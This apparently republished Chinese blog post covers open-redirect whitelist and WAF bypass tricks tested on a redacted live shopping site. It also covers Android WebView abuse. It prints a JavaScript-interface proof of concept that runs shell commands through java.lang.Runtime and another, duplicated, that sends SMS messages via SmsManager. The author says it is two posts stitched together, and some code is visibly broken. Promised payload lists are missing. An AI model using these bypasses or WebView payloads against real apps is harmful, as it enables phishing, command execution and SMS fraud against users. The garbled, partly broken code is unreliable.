在一次测试中我用burpsuite搜索了关键词url找到了某处url
我测试了一下发现waf拦截了指向外域的请求,那么开始尝试绕过。所以有了这次的文章
第一个我测试的url是https://mall.m.xxxxxxx.com/jump.html?url=https://baidu.com
我打开成功跳转以为跳转成功,but baidu.com是在白名单的所以我就只能想办法去绕过他那么我经过了几次绕过之后发现https://mall.m.xxxxxxx.com/jump.html?url=https:/\c1h2e1.github.io
跳转成功,这是我觉得有必要总结一下url的跳转绕过思路了,那么开始吧!!
-
@ 绕过
这个是利用了我们浏览器的特性,现在除了Firefox浏览器大部分都可以完成这样跳转下面是跳转的动态图
![aite_redirect]({{ “http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/1.gif”|redirect}}) -
问号绕过
可以使用Referer的比如https://baidu.com
可以https://任意地址/?baidu.com
-
锚点 绕过
利用#会被浏览器解释成HTML中的锚点http://127.0.0.1/#qq.com
- xip.io绕过
http://www.baidu.com.127.0.0.1.xip.io/
这样之后会访问127.0.0.1
How does it work? xip.io runs a custom DNS server on the public Internet. When your computer looks up a xip.io domain, the xip.io DNS server extracts the IP address from the domain and sends it back in the response.
-
反斜杠绕过
我这次测试中也是使用了这种思路https://mall.m.xxxxxxx.com/jump.html?url=https:/\c1h2e1.github.io
- IP绕过
把目标的URL修改成IP地址,这样也有可能绕过waf的拦截
- chrome浏览器特性
http:/\/baidu.com http:\//baidu.com /\/baidu.com http:\\\//baidu.com
这样的都会跳转到百度
我们这次的漏洞我在手机上测试的时候发现利用APP url Schema
也就是xxxx://app/webview?url=xxxxxxx
其实这里的任意webview跳转已经构成漏洞了但是我想更加深入一下
看到webview我想到了利用file协议读取用戶的敏感信息那么下面的两篇文章可以补一下基础
使用app内置webview 打开TextView中的超链接
<html> <head> <title>test</title> </head> <script> var xmlHttp;
在app上测试一下发现不成功。。。。
之后才得知是因为同源策略导致的,在网上各种找方法绕过后无果,没办法之好放弃。
虽然这个应用绕不过我们可以mark一点姿势
ps:很多代码都是手码的没写过JS所以可能会有一些错误不要见怪
<html> <body> <script> function execute(cmdArgs) { return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]); document.write(getContents(res.getInputStream())); </script> </body> </html>
这个是执行命令的poc
<html> <head> <title>Test send</title> <script type="text/javascript"> function execute() { var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null); sendsms.sendTextMessage("13722555165",null,"get",null,null); } </script> </head> <body> <input type="button"execute" value="test"/> </body> </html>
<html> <head> <title>Test sendsms</title> <script type="text/javascript"> function execute() { var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null); sendsms.sendTextMessage("13722555165",null,"get",null,null); } </script> </head> <body> <input type="button"execute" value="test"/> </body> </html>
这是我想到了weixin的协议weixin://
看了官方的文档之后我发现了微信支持如下操作
weixin:
这是我博客的两篇文章拼在一起的
在技术学习中,用开阔的眼光看待安全问题会有不同的结论出现,我们本次文章所利用的思路源于国外的hackerone
以及多个资源分享平台,文末会贴出链接,那么我们开始今天的URL跳转的进阶使用吧 (以后的博客质量会慢慢提升希望各位能多多提出建设性建议我的微信号:baiheming123456)
http的响应码
- 300–多种选择
- 301–永久移动
- 302–发现
- 307临时重定向
- 308永久重定向
我们寻找可能跳转的链接这一步就基本上完成了,那么问题来了,绝大部分的网站都是不允许直接跳转的。这样就再一次回到了我们上一篇文章中提到的跳转绕过了URL跳转到Webview安全
我们可以参考上文中的一点点简单的思路。BUT这些思路在实战中远远不够用。所以我们衍生了新的思路
我们假设URL basic版本就是?url=https://c1h2e1.github.io
如果你看过i春秋winway表哥的文章的话我相信对他URL的fuzz扩展思路一定很清楚了吧。我们这里就不放出文档了因为是小密圈的东西
对于这个思路我们就理解为跳转参数的fuzz了
我个人整理了一份乌云案例上的Parameter Payload
下面奉上
success=https:
这53个参数就是我们国内常用的参数了,我们可以通过他大量的进行fuzz寻找可用的参数
经过思考我们可以发现在实战中参数是一个比较重要的因素BUTURL的白名单限制如果做的好的话真的很难绕过,于是我在国外的一个网站上找到了一份URL_Payload的字典,与参数想结合之后完成了大杀器URL_Redirect PLUS PULS(手动滑稽)
我不是不想弄txt的。我主要是想让各位看着更舒服一点虽然有点多,但是并没有很麻烦
<>
原文链接:https://www.cnblogs.com/ichunqiujishu/p/10150124.html
原创文章,作者:优速盾-小U,如若转载,请注明出处:https://www.cdnb.net/bbs/archives/18532